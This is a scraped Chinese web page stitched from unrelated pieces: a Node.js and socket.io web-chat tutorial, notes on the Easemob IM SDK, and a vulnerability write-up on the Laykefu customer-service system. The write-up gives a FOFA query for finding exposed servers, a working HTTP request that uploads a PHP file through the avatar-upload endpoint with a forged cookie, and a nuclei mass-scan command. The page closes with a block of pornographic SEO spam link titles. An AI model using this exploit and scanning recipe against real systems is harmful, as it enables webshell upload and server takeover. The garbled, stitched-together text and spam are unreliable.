整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          如何使用Javascript快速實現Web IM

          如何使用Javascript快速實現Web IM

          202年了,QQ、微信等聊天工具已經非常成熟,一般的情況下沒有必要去創建一個IM應用了。現在的開源技術,通過一些簡單快速的開發即可實現一款Web IM,可以適用于多客服系統、內部溝通平臺等等。


          準備工作

          • 安裝NodeJS
          C:\Users\chen3>node -v
          v10.16.3
          • 創建源代碼目錄
          D:\code>mkdir webim
          • 初始化代碼
          npm init

          • 添加基礎依賴
          npm install --save socket.io express
          npm install --save-dev @babel/core @babel/cli @babel/preset-env @babel/node
          • 在package.json內增加start腳本(為了使用ES6+特性,引入babel)
          "start": "babel-node index.js"
          

          邏輯實現

          • 編輯index.html,內容如下
          <script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.3.0/socket.io.js"></script>
          <h1 id="ucount"></h1>
          
          <div id="msgs"></div>
          
          <input type="text" id="text" />
          
          <script>
            var socket=io.connect("/msg");
            var msgs=$("msgs");
            function $(id) {
              return document.getElementById(id);
            }
            // 收到消息時,將消息輸出到頁面上
            socket.on("message", function(data) {
              msgs.innerHTML +=data + "<br />";
            });
            // 在線人數變化時更新界面
            socket.on("online", function(u) {
              $("ucount").innerHTML="當前" + u.ucount + "人在線";
            });
          
            $("text").addEventListener("keyup", function(e) {
              // 輸入回車時,發送給服務器
              if (e.keyCode===13) {
                var t=$("text").value;
          
                socket.emit("message", t, function() {
                  msgs.innerHTML +=t + "<br />";
                });
                $("text").value="";
              }
            });
          </script>
          • 編輯index.js,內容如下
          import http from "http";
          import path from "path";
          import express from "express";
          import socketIO from "socket.io";
          
          const app=express();
          
          const server=http.Server(app);
          
          app.set("views", path.join(__dirname, "views"));
          app.set("view engine", "jade");
          
          app.use(express.json());
          
          // 頁面模板
          app.get("/", function(_req, res) {
            res.sendFile(__dirname + "/index.html");
          });
          
          initWebIM(app, server, "/msg");
          
          server.listen(8080);
          
          let userCount=0;
          const users={};
          const noop=()=> {};
          
          function initWebIM(app, server, endpoint) {
            const io=socketIO(server);
          
            io.of(endpoint).on("connection", function(socket) {
              // 連接時,記錄用戶
              setUser(socket.id, {
                sid: socket.id,
                socket: socket
              });
          
              // 廣播新用戶上線/用戶數變化
              // 廣播:發給除了當前socket之外的所有socket
              socket.broadcast.emit("online", {
                ucount: userCount
              });
          
              // 當前用戶返回
              socket.emit("online", {
                ucount: userCount
              });
          
              // 服務端收到消息時,廣播給大家
              socket.on("message", function(data, callback) {
                callback=callback || noop;
          
                socket.broadcast.emit("message", data);
          
                // 回調,發送者更新界面
                callback();
              });
          
              // 下線群發通知
              socket.on("disconnect", function() {
                unsetUser(socket.id);
                socket.broadcast.emit("online", {
                  ucount: userCount
                });
              });
            });
          }
          
          function setUser(socketId, info) {
            var isNew=false;
            if (!users[socketId]) {
              users[socketId]={};
              userCount++;
              isNew=true;
            }
            Object.assign(users[socketId], info);
            return isNew;
          }
          
          function unsetUser(socketId) {
            if (users[socketId]) {
              delete users[socketId];
              userCount--;
            }
          }

          效果預覽

          至此,就實現了一個最簡單的一個多人在線web對話的程序。

          改進點

          很明顯,作為一個聊天工具,還缺少很多的功能或者模塊,距離完整的系統相當遙遠,比如

          • 自定義表情
          • 發送圖片、視頻、文章鏈接等
          • 安全過濾
          • 群組功能
          • 桌面、手機客戶端的支持
          • ...

          如果大家有興趣,可以留言,我會在后續內容中考慮。

          里實現 網頁--網頁 的及時聊天以及 網頁--手機端 的及時聊天。

          先上效果圖。



          首先這里使用的是環信的sdk,當然手機端(android和ios)同樣也是使用的環信的sdk。聊天數據沒有存儲在自己的服務器。只在手機端做了緩存。只有頭像是獲取自己服務器的數據,別的都是環信處理。頭像為用戶id作為路徑。如(http://api.XXXX.com/uploads/person/911117.jpg),昵稱在用戶注冊時候傳遞給環信保存。


          首先下載環信sdk 地址 http://www.easemob.com/download/im 。將下載好了的文件移動到項目Public下。


          這里我們需要修改的是demo文件下的javascript/dist/demo-1.4.10.js文件,具體修改的內容就是用戶以及好友等的頭像和昵稱。改的地方比較多,大多是形如下圖這樣的

          然后就是在模型中將用戶信息傳遞給前臺js去處理,別的就不用管了。給個參考


          前臺頁面的js部分


          好了就是這么簡單,在網頁端demo中實現了文字圖片語音,文件的發送接收,以及視頻的接收。

          產品介紹】

          Laykefu 是一款基于workerman+gatawayworker+thinkphp5搭建的全功能webim客服系統,旨在幫助企業有效管理和提供優質的客戶服務

          【漏洞介紹】

          Laykefu客服系統/admin/users/upavatar.html接口處存在文件上傳漏洞

          【資產測繪Query】

          fofa語法:icon_hash="-334624619"

          【產品界面】

          【漏洞復現】

          【poc】

          POST /admin/users/upavatar.html HTTP/2
          Host: 
          Cookie: user_name=1; user_id=3
          Accept: application/json, text/javascript, */*; q=0.01
          X-Requested-With: XMLHttpRequest
          User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
          Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
          Accept-Encoding: gzip, deflate
          Accept-Language: zh-CN,zh;q=0.9
          Sec-Ch-Ua-Platform: "Windows"
          Sec-Ch-Ua: "Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"
          Sec-Ch-Ua-Mobile: ?0
          Content-Length: 198
          
          ------WebKitFormBoundary3OCVBiwBVsNuB2kR
          Content-Disposition: form-data; name="file"; filename="1.php"
          Content-Type: image/png
          
          <?php echo 13579; ?>
          ------WebKitFormBoundary3OCVBiwBVsNuB2kR--

          【批量掃描】

          .\nuclei -l 1.txt -t 1.yaml

          【修復建議】

          1、請聯系廠商進行修復。
          2、如非必要,禁止公網訪問該系統。
          3、設置白名單訪問。


          主站蜘蛛池模板: 激情内射亚洲一区二区三区| 国产成人一区二区动漫精品| 麻豆精品一区二区综合av| 久久精品一区二区| 最新中文字幕一区| 精品人妻码一区二区三区| 国模精品一区二区三区| 精品国产一区二区三区www| 国产福利微拍精品一区二区| 成人精品一区二区三区不卡免费看| 精品女同一区二区三区在线| 欧美日韩国产免费一区二区三区| 亚洲国产高清在线精品一区| 无码精品人妻一区二区三区中 | 亚洲熟女少妇一区二区| 免费一区二区无码视频在线播放| 性色av无码免费一区二区三区| 伊人久久精品一区二区三区| 日韩一区二区视频在线观看| 精品国产一区二区三区无码| 91一区二区视频| 中日韩精品无码一区二区三区| 国产乱码一区二区三区四| 国产电影一区二区| 另类国产精品一区二区| 国产精品久久久久一区二区三区| 最新中文字幕一区| 天天看高清无码一区二区三区 | 国产无套精品一区二区| 中文字幕在线精品视频入口一区| 国产伦理一区二区| 无码囯产精品一区二区免费| 无码人妻AV免费一区二区三区| 人妻体内射精一区二区三区| 成人中文字幕一区二区三区| 麻豆va一区二区三区久久浪| 国产高清一区二区三区四区| 国产suv精品一区二区33| 国产精品分类视频分类一区 | 日韩电影在线观看第一区| 韩日午夜在线资源一区二区|